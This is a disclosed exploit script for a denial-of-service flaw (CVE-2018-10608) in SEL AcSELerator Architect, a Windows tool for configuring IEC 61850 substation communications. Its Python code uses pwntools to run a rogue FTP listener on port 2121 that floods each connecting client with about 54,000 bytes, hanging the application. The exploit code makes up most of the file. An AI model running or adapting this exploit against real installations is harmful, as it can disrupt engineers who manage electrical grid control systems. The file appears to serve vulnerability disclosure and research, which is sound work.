SEL AcSELerator Architect 2.2.24 Denial Of Service

#!/usr/bin/env python
# coding: utf8
#
#
# SEL AcSELerator Architect 2.2.24 Remote CPU Exhaustion Denial of Service
#
#
# Vendor: Schweitzer Engineering Laboratories, Inc.
# Product web page: https://www.selinc.com
# Affected version: 2.2.24.0 (ICD package version: 2.38.0)
#
# Summary: Substation communications networks using the IEC 61850
# MMS and GOOSE protocols require a systemic methodology to configure
# message publications and subscriptions. acSELerator Architect
# SEL-5032 Software is a Microsoft Windows application that streamlines
# the configuration and documentation of IEC 61850 control and SCADA
# communications.
#
# Description: AcSELerator Architect is prone to a denial-of-service (DoS)
# vulnerability. An attacker may exploit this issue to cause CPU exhaustion,
# resulting in application rendered non-responsive (AppHangB1 event).
#
# Tested on: Microsoft Windows 7 Ultimate SP1 (EN) 32bit
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
#
# Advisory: https://applied-risk.com/index.php/download_file/view/106/165
# ICS-CERT: https://ics-cert.us-cert.gov/advisories/ICSA-18-191-02
# CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10608
#
# 22.02.2018
#

from pwn import *

cool_data = '\x4A' * 54321

def bunn():

    print """
    ####################################
     SEL AcSELerator Architect 2.2.24.0
      FTP Client Remote CPU Exhaustion
                 
                 (c) 2018
    ####################################
    """

def main():

    p = listen(2121)
    try:
        log.warn('Payload ready for deployment...(Ctrl-C for exit)\n')
        while True:
            p.wait_for_connection()
            if p:
                sys.stdout.write('')
                p.send(cool_data)
    except KeyboardInterrupt:
        p.success('OK!')
        p.close()
    except EOFError:
        print "Unexpected error brah:", sys.exc_info()[0]
        p.close()

if __name__ == '__main__':
    bunn()
    main()

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